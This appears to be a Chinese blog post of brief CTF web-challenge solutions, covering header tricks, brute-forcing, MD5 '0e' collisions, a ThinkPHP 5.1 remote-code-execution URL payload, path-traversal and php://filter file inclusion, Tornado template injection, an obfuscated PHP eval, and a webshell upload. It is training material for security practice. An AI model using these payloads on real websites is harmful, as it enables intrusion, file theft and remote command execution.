做的部分题收集

baby_web
在这里插入图片描述

输入index.php,在消息头中找到
在这里插入图片描述
ics-06
将其进行抓包,爆破,在id=2333时,不同
在这里插入图片描述

在这里插入图片描述
用ctrl+u看原码在这里插入图片描述在这里插入图片描述将图片保存本地,用记事本打开在这里插入图片描述在这里插入图片描述2. backup在这里插入图片描述在网站根目录下输入index.php.bak在这里插入图片描述在这里插入图片描述cookie
Cookie,有时也用其复数形式 Cookies。类型为“小型文本文件”,是某些网站为了辨别用户身份,进行Session跟踪而储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息
通过火狐浏览器,按F12,打开网络,先将此页面载入
在这里插入图片描述在这里插入图片描述在这里插入图片描述 disabled_button在这里插入图片描述观察其源码,将disabled改为abled
拿到答案
在这里插入图片描述weak_auth
点开页面,随便输入密码,然后设置代理,运行burpsuit在这里插入图片描述
在这里插入图片描述进行爆破,找到密码在这里插入图片描述在这里插入图片描述xff_referer
根据页面显示先修改ip在这里插入图片描述再将页面刷新在这里插入图片描述由提示,用hackbar,通过referer添加在这里插入图片描述在这里插入图片描述也可以运用burpsuit的repeater添加X-Forwarded-For:123.123.123.123
Referer:https://www.google.com在这里插入图片描述1. simple_js
将网页展开源代码

在这里插入图片描述发现下方有比较有规律的字符\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30根据相关查询16进制到文本字符串的转换,在网上搜索相关工具在这里插入图片描述再用pathon,将其转化为10进制在这里插入图片描述在这里插入图片描述再前加上Cyberpeace,得Cyberpeace{786OsErtk12}
十六进制是由数字0-9和字母A-F组成的,表达方式由数字0(零)加上小写字母x开头的
md5 collision
观察源码,要将QNKCDZO经行md5加密在这里插入图片描述在网上搜索加密工具,进行加密在这里插入图片描述再在网上搜索0e开头的md5值(因为后面为补值)s878926199a
在网页中将a赋值在这里插入图片描述
签到2 在这里插入图片描述发现输入框的密码数不够,则在前端修改在这里插入图片描述在这里插入图片描述AAencode在这里插入图片描述打开菜单,进行文字编码为unicode在这里插入图片描述在这里插入图片描述将内容放到控制台在这里插入图片描述在这里插入图片描述
php_rce
此题为thinkphp漏洞,版本为5.1,再在网上查找漏洞在这里插入图片描述

输入

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("cat%20../../../flag");

warmup

查看源码,有在这里插入图片描述
就输入source.php,观察到又有在这里插入图片描述
再次输入hint.php
在这里插入图片描述
及在这个文件中,但输入这个文件页面又是空白,说明不在当前目录,在根目录,多用几个…/,最后为?file=source.php?file=../../../../../ffffllllaaaagggg得到在这里插入图片描述
php decode

<?php
function CLsI($ZzvSWE) {
 
    $ZzvSWE = gzinflate(base64_decode($ZzvSWE));
 
    for ($i = 0; $i < strlen($ZzvSWE); $i++) {
 
        $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
 
    }
 
    return $ZzvSWE;
 
}
eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>

代码表示的意思是将内容解码,以字符串方式输出,而最后是eval

文件包含
打开首页,有在这里插入图片描述
及我们看到的是index.php下的show.php,而我们想看的是index,pfp,就用

file=php://filter/read=convert.base64-encode/resource=index.php

这句话的意思是我们用base64编码的方式来读文件index.php;这时页面会显示出源文件index.php经过base64编码后的内容,然后经过base64解码,得代码
在这里插入图片描述
**MYSQL **
先用robots.txt,出现以下在这里插入图片描述
tip 指小贴士,sql.php,则说明有这个页面,出现1024,则要用这个数字,而又取整,又要非整,则id=1024.1(不为整就行)

**GBK Injection **
与一般的相似,只是id=1中1变为一个中文字符,为了消去\,之后方式相同
**/x00 **
观察代码

if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

bypass again
代码意思就是要让a,b都有值,且不相等,但md5后相同,则用md5碰撞,及搜索md5后开头为0e的字符串
在这里插入图片描述
**变量覆盖 **
就分析代码在这里插入图片描述
在这里插入图片描述
**起名字真难 **
根据代码要求,key的值中不能有1到9,但其值要为54975581388(php比较数大小时
在这里插入图片描述
因为是==,及要其ascall相同就行,且中间不能有1到9的字符,所以就16进制的

在这里插入图片描述

**密码重置 **
在这里插入图片描述
在这里插入图片描述
打开的肯定是ctfuser的页面,所以user1后面的一定加密了,发现为base64,而且账号部分无法修改。推出,admin要jiami,在网址上方,而且要修稿html,再根据要求,进行修改
**密码重置2 **
观察贴士,1 flag在邮箱中 2 有备份文件
在这里插入图片描述
找到邮箱
在这里插入图片描述
查找他的.submit.php.swp
在这里插入图片描述
分析代码
在这里插入图片描述
tolen要长为10,且为0,则0e开头或0000000000
得旗在这里插入图片描述
**file_get_contents **
观察内容,,传一个文件,内容为maizijiu在这里插入图片描述
在这里插入图片描述
**变量覆盖 **
分析代码,用get方式交一个数组,经分析,键为name,key为meizijiu233,
及name=meizijiu233在这里插入图片描述
unserialize3

upload1
先要上传为jpg的文件,再在bp中将其修改为php,放,再打开执行了代码的网页,连菜刀,得。

easytornado
先明确:Tornado 框架,就是一个服务器框架
在这里插入图片描述
先打开第一个在这里插入图片描述
观察浏览器中网址特征

http://159.138.137.79:62112/file?filename=/flag.txt&filehash=4f73822a640b0dd29db8dea71e872304

因为打开的是flag.txt而网址中有异样,后面有一些,而页面又指明flag在…中;
打开第二个主要是render,且搜索内容主要关于pathon;
再看第三个
在这里插入图片描述
filehash后面跟的就是这个内容,所以现在的目的就是找到cookie_secret,cookie…是目的,那么可能用的就是render,现在仔细搜索render
发现注入在这里插入图片描述

考虑通过注入获得cookie_secret,通过查阅构造/error?msg={{handler.settings}}得信息,再用脚本

import hashlib

def md5(s):
 md5 = hashlib.md5() 
 md5.update(s) 
 return md5.hexdigest()

def filehash():
 filename = '/fllllllllllllag'
 cookie_secret = 'cooike_secret'
 print(md5(cookie_secret+md5(filename)))

if __name__ == '__main__':
 filehash()

再将得的的代入file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))
在这里插入图片描述

mfw
有git泄露,就用githack获取其代码,发现有flag.php,但是没有什么用,就查看其index.php,观察其php脚本
在这里插入图片描述
其意思为通过page的get传参,来赋值 f i l e , 而 file,而 filefile会被strpos执行,而strpos又在assert函数中,而assert函数会将其内部的代码以php执行,所以,通过传参,将strpos闭合,查看cat文件

lottery
先分析整个页面,把控大致信息,大概就是输入数字,得到钱,等有了足够钱后,就可以买到flag。所以将得钱的页面抓包,发现是api.php,而不是buy.php,所以执行的是后台的php,所以我们现在想的是要得到api.php,但是再题目网页下打不开api.php,且也没有看到的文件不能php://,扫描,发现有robots,打开,有./git/,上网上查询此类细节,用工具githack,将其网页所有代码下载,分析api的内容,并结合api抓包后是这样,要注意在这里插入图片描述
php弱类型比较,bool类型的true可以和任意数据弱类型相等,因为输入数字的每一位都会被拿来判断是否相等,及一位相等的概率为1/10,且只有一位相等不得钱,只有7位相等才能的旗帜(因为要求的钱非常高,太低了不行),所以要让他每一位相等,所以考虑弱类型。

web2
就根据内容将其反转

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){	
    $_o=strrev($str);  //反转字符串
    // echo $_o;
        
    for($_0=0;$_0<strlen($_o);$_0++){  //循环字符串长度
       
        $_c=substr($_o,$_0,1);  //从$_0位置开始,返回1个字符

        $__=ord($_c)+1;  //返回字符串首个字母的ASCII值

        $_c=chr($__);  //返回指定进制的ASCII值

        $_=$_.$_c;   //拼接两个变量的内容 赋值
    } 
    return str_rot13(strrev(base64_encode($_)));  //返回  ROT13 编码/解码(反转字符串(base64加密($_)))  的结果
}

highlight_file(__FILE__);  //返回高亮代码
/*
   逆向加密算法,解密$miwen就是flag
*/
?>  

<?php
$str='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
$_ = base64_decode(strrev(str_rot13($str)));

$_o=NULL;
for($_0=0;$_0<strlen($_);$_0++){  
       
        $_c=substr($_,$_0,1);  

        $__=ord($_c)-1;  

        $_c=chr($__);  

        $_o=$_o.$_c;   
    } 


echo strrev($_o);

?>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值